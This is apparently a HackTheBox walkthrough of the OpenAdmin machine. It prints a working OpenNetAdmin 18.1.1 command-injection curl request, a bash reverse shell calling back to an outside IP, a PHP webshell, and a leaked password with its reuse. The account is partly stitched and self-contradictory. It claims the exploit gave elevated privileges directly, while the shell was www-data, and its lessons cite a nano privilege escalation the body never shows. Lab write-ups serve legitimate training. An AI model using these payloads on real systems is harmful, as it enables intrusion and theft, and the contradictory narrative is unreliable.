OpenAdmin

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine OpenAdmin (Ubuntu, attack surface: Apache httpd 2.4.29 ((Ubuntu)) (80), OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) (22)). Foothold via remote code execution; privilege escalation via password reuse. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC openadmin.htb --min-rate 1000

Enumeration highlights

• Detected OS: Ubuntu.
• Open services: http (80), ssh (22).
• Scan used: nmap -p- -sV -sC openadmin.htb --min-rate 1000.

Foothold

Vulnerability / Misconfiguration

PORT SCANNNING

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sV -sC openadmin.htb --min-rate 1000
Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-05 20:41 PDT
Nmap scan report for openadmin.htb (10.10.10.171)
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 4b98df85d17ef03dda48cdbc9200b754 (RSA)
|   256 dceb3dc944d118b122b4cfdebd6c7a54 (ECDSA)
|_  256 dcadca3c11315b6fe6a489347c9be550 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.64 seconds

1. Based from the nmap results, the machine runs web application at port 80 and opens ssh login at port 22.
2. Noticed based from the service's detail, once we open the webapp it shall rendered Ubuntu Default Page.

WEB DEFAULT PAGE

1. Knowing this condition, seems the approach is to do directory listing.

RESULT USING DIRSEARCH

dirsearch -u http://openadmin.htb:80

1. Interesting! We found 2 accessible endpoint.

Accessing /music/

1. Long story short, after reviewing every feature. Figured out that login feature shall redirect us to /ona endpoint.

Accessing /ona/

1. By checking for documentation, turns out ONA is an abbreviation of OpenNetAdmin.

2. Noticed, it disclosed the service's version --> 18.1.1. Using searchsploit or internet to find vuln related to this version, found these results:

Internet

Searchsploit

1. It's remote code execution, also there's github POC's which can be useful (it speed up our exploit to drop a shell).

2. Anyway, let's use the exploit from exploit.db first.

3. We just need to replace the CMD and URL.

 txt read-only • copy allowed Copy
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";id;echo \"END\"&xajaxargs[]=ping" http://openadmin.htb:80/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

1. Awesome, we can do reverse shell from this state. Now let's use the github POC to speed up our process to drop a shell.

Using the github POC

1. Noticed we a got a shell as www-data, which means in order to obtain the user flag, we need to swtich to a legitimate user account.
2. Anyway I am not too comfortable using shell from the Github POC, let's do reverse shell on our own. Let's use bash.

BASH REVERSE SHELL - PAYLOAD

 txt read-only • copy allowed Copy
bash -c 'bash -i >%26 /dev/tcp/tun0/1337 0>%261'

IMPLEMENTATION

 txt read-only • copy allowed Copy
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";bash -c 'bash -i >%26 /dev/tcp/10.10.14.29/1337 0>%261';echo \"END\"&xajaxargs[]=ping" http://openadmin.htb:80/ona/ | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

1. Traversing to /home directory to check users registered in this machine. Found 2 users namely jimmy and joanna.

2. Upon reviewing the userinfo at ONA dashboard, identified it uses mysql and the host is local.

3. Hence let's traverse to the webapp location --> /var/www/html/ona.

4. Checking the /local/config found file --> database_settings.inc.php which should be our interest.

5. Found the db password of ona_sys --> n1nj4W4rri0R!. However we can't open mysql in the machine. At this condition, we can speculate a password reuse to a certain user.

6. After tried for both, turns out jimmy using the same password as the DB.

LOGGED IN AS JIMMY

1. Great! But sadly, there is no user flag inside jimmy's home directory. Seems the goal is to be authenticated as joanna to get the user flag.

2. Upon traversing several configuration files, found a configuration that shall let us authenticated as joanna.

3. Reviewing the apache2 --> internal.conf file, it revealed that the internal virtual host is running as joanna on localhost at port 52846.

4. Traversing to /var/www/internal found 3 .php files --> main.php, index.php, and logout.php. Our interest should only for main and index.

Reviewing main.php

1. Noticed it printed out joanna private key once we logged in at the webapp.

Reviewing index.php

1. At index.php file, we can see a hashed password for jimmy account. The password is hashed with SHA512, which is crackable using john or might be crackstation has the db for that password. Let's try both.

USING CRACKSTATION

USING JOHN

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=RAW-SHA512 --rules=Jumbo

1. Both states for Revaled.
2. Next our objective is to reach the internal sites. Let's do port forwarding.
3. Now reconnect to jimmy over SSH with a tunnel so that we can reach the internal webapp/website.

PORT FORWARDING

ssh jimmy@openadmin.htb -L 52846:localhost:52846

1. Now we can access the internal website at port 52846.

2. Now login using the credential we found and cracked before --> jimmy:Revealed.

3. BUT, remembering we got access to the internal site. Hence we don't actually need to crack the ssh key.

4. We can drop webshell to get access to joanna account.

SIMPLE WEBSHELL

 txt read-only • copy allowed Copy
<?php system($_GET["cmd"]); ?>

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

The exploit provided a shell running with elevated privileges directly, so no separate privilege escalation was required.

Root flag: REDACTED

Flags

Lessons Learned

1. Using dirsearch to enumerate webpages.
2. Exploiting OpenNetAdmin (ONA) v.18.1.1 --> Remote Code Execution, Command Injection.
3. Implement bash reverse shell.
4. Reviewing apache2 internal configuration (reviewing the virtual host is running as which user --> lead to port forwarding).
5. Password Cracking using john.
6. Port Forwarding (to be able to access internal website).
7. Dropping a webshell on the internal site to gain access to joanna user.
8. Cracking SSH Private Key.
9. Privilege Escalation in nano by reseting /stdin/stdout/stderr.